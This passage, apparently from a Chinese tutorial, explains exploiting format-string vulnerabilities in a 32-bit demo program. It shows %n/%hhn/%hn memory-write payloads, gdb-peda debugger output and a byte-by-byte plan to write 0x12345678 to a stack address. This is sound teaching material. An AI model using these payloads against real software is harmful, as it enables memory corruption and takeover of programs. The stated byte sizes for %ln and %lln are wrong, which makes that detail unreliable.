+0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538 +0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240 +``` +对比 `printf()` 函数执行前后的输出,可以看到我们成功地给 `arg2` 赋值了 `0x00000020`。 + +说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小: +```c +char c; +short s; +int i; +long l; +long long ll; + +printf("%s %hhn\n", str, &c); // 写入单字节 +printf("%s %hn\n", str, &s); // 写入双字节 +printf("%s %n\n", str, &i); // 写入4字节 +printf("%s %ln\n", str, &l); // 写入8字节 +printf("%s %lln\n", str, &ll); // 写入16字节 +``` + +试一下: +``` +$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text +0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff + +$ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text +0xffffd530: 0xffffd564 0x00000001 0x88880001 0xffffffff + +$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text +0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff +``` +于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 `0x12345678` 到地址 `0xffffd538`,首先使用 `AAAABBBBCCCCDDDD` 作为输入: +``` +gdb-peda$ r +AAAABBBBCCCCDDDD +[----------------------------------registers-----------------------------------] +EAX: 0xffffd564 ("AAAABBBBCCCCDDDD") +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) +EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7e27c1b : ret + 0xf7e27c1c: xchg ax,ax + 0xf7e27c1e: xchg ax,ax +=> 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> + 0xf7e27c25 : add eax,0x16f243 + 0xf7e27c2a : sub esp,0xc + 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] + 0xf7e27c33 : lea edx,[esp+0x14] +No argument +[------------------------------------stack-------------------------------------] +0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) +0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD") +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff +0020| 0xffffd540 --> 0xffffd55a ("ABCD") +0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD") +0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +gdb-peda$ x/20x $esp +0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888 +0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc +0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 +0xffffd55c: 0x00004443 0x00000000 0x41414141 0x42424242 +0xffffd56c: 0x43434343 0x44444444 0x00000000 0x000000c2 +gdb-peda$ x/4wb 0xffffd538 +0xffffd538: 0x88 0x88 0x88 0x88 +``` +由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序): +``` +0xffffd564 -> 0x41414141 (0xffffd538) -> \x78 +0xffffd568 -> 0x42424242 (0xffffd539) -> \x56 +0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34 +0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12 +``` +把 `AAAA`、`BBBB`、`CCCC`、`DDDD` 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下: +``` + +``` ## x86-64 中的格式化字符串漏洞